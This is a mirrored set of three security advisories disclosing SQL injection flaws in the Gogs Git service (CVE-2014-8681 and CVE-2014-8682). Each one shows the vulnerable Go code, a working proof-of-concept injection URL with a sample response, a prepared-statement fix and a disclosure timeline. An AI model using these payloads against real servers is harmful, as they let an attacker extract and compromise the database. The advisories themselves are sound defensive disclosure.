Gogs Blind SQL Injection Vulnerability

2014-11-15T00:00:00
ID 1337DAY-ID-22872
Type zdt
Reporter Timo Schmid
Modified 2014-11-15T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Blind SQL Injection in Gogs label search
========================================
Researcher: Timo Schmid <[email protected]>
 
 
Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])
 
It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.
 
Gogs provides a view to filter issues by labels. This view is accessible at
/<username>/<repository>/issues?labels=&type=&state=
 
The labels Parameter of this view is vulnerable to a blind SQL injection.
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
===============
Critical
 
 
CVSS Base Score
===============
6.6 (AV:N / AC:H / Au:N / C:C / I:P / A:P)
 
 
CVE-ID
======
CVE-2014-8681
 
 
Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.
 
 
Status
======
Fixed by Vendor
 
 
Vulnerable Code Section
=======================
models/issue.go:
[...]
// GetIssues returns a list of issues by given conditions.
func GetIssues(uid, rid, pid, mid int64, page int, isClosed bool, labelIds,
sortType string) ([]Issue, error) {
    sess := x.Limit(20, (page-1)*20)
 
    if rid > 0 {
        sess.Where("repo_id=?", rid).And("is_closed=?", isClosed)
    } else {
        sess.Where("is_closed=?", isClosed)
    }
 
    if uid > 0 {
        sess.And("assignee_id=?", uid)
    } else if pid > 0 {
        sess.And("poster_id=?", pid)
    }
 
    if mid > 0 {
        sess.And("milestone_id=?", mid)
    }
 
    if len(labelIds) > 0 {
        for _, label := range strings.Split(labelIds, ",") {
            sess.And("label_ids like '%$" + label + "|%'")
        }
    }
[...]
 
The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. A attacker is restricted to not use commas in the
injection
string as the program splits input at commas.
 
 
Proof of Concept
================
Test of version string contains at least 10 characters:
http://www.example.com/user/repos/issues?label=' or
char_length(@@version) > 10
and '|%'='&type=all&state=
 
Returns all issues if true, non if false.
 
This could be used to extract data with a binary search.
 
 
Solution
========
This vulnerability could easily be fixed by using prepared statements:
 
sess.And("label_ids like ?", "%$" + label + "|%")
 
Update to Version 0.5.6.1025.
 
Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1024-gf1d8746
 
 
Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-10-25: Fixed by ensuring datatype of user input
2014-11-14: CVE-ID assigned
 
 
Credits
=======
Pascal Turbing <[email protected]>
Jiahua (Joe) Chen <[email protected]>
 
 
References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1401.txt
 
 
Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])
 
It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.
 
Gogs provides an api view to give javascript code the possibility to
search for
existing repositories in the system. This view is accessible at
/api/v1/repos/search?q=<search query>.
 
The q Parameter of this view is vulnerable to SQL injection.
 
 
Exploitation Technique
======================
Remote
 
 
Severity Level
==============
Critical
 
 
CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)
 
 
CVE-ID
======
CVE-2014-8682
 
Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.
 
 
Status
======
Fixed by Vendor
 
 
Vulnerable Code Section
=======================
models/repo.go:
[...]
// SearchRepositoryByName returns given number of repositories whose name
contains keyword.
func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err
error) {
    // Prevent SQL inject.
    opt.Keyword = FilterSQLInject(opt.Keyword)
    if len(opt.Keyword) == 0 {
        return repos, nil
    }
    opt.Keyword = strings.ToLower(opt.Keyword)
 
    repos = make([]*Repository, 0, opt.Limit)
 
    // Append conditions.
    sess := x.Limit(opt.Limit)
    if opt.Uid > 0 {
        sess.Where("owner_id=?", opt.Uid)
    }
    if !opt.Private {
        sess.And("is_private=false")
    }
    sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos)
    return repos, err
}
[...]
 
The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.
 
 
Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
 
Response:
{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink"
:"bluec0re/[email protected]"}],"ok":true}
 
 
Solution
========
This vulnerability could easily be fixed by using prepared statements:
 
sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos)
 
Update to version 0.5.6.1105.
 
 
Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45
 
 
Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned
 
 
Credits
=======
Pascal Turbing <[email protected]>
Jiahua (Joe) Chen <[email protected]>
 
 
References
==========Update to version 0.5.6.1105.
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1402.txt
 
 
Advisory-ID
===========
BC-1402
 
 
Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
 
 
 
Unauthenticated SQL Injection in Gogs user search
=================================================
Researcher: Timo Schmid <[email protected]>
 
 
Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])
 
It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.
 
Gogs provides an api view to give javascript code the possibility to
search for
existing users in the system. This view is accessible at
/api/v1/users/search?q=<search query>.
 
The q Parameter of this view is vulnerable to SQL injection.
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
===============
Critical
 
 
CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)
 
 
CVE-ID
======
CVE-2014-8682
 
 
Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.
 
 
Status
======
Fixed by Vendor
 
 
Vulnerable Code Section
=======================
models/user.go:
[...]
// SearchUserByName returns given number of users whose name contains
keyword.
func SearchUserByName(opt SearchOption) (us []*User, err error) {
    opt.Keyword = FilterSQLInject(opt.Keyword)
    if len(opt.Keyword) == 0 {
        return us, nil
    }
    opt.Keyword = strings.ToLower(opt.Keyword)
 
    us = make([]*User, 0, opt.Limit)
    err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +
opt.Keyword + "%'").Find(&us)
    return us, err
}
[...]
 
The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.
 
 
Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from
/**/mysql.db/**/where/**/('%25'%3D'
 
Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":
"//1.gravatar.com/avatar/"}],"ok":true}
 
 
Solution
========
This vulnerability could easily be fixed by using prepared statements:
 
err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +
opt.Keyword + "%").Find(&us)
 
Update to version 0.5.6.1105.
 
 
Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45

 
 
Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
 
--
Timo Schmid
 
ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg  -  www.ernw.de
Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192
PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0
 
Handelsregister Mannheim: HRB 337135
Geschaeftsfuehrer: Enno Rey
 
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#  0day.today [2018-01-01]  #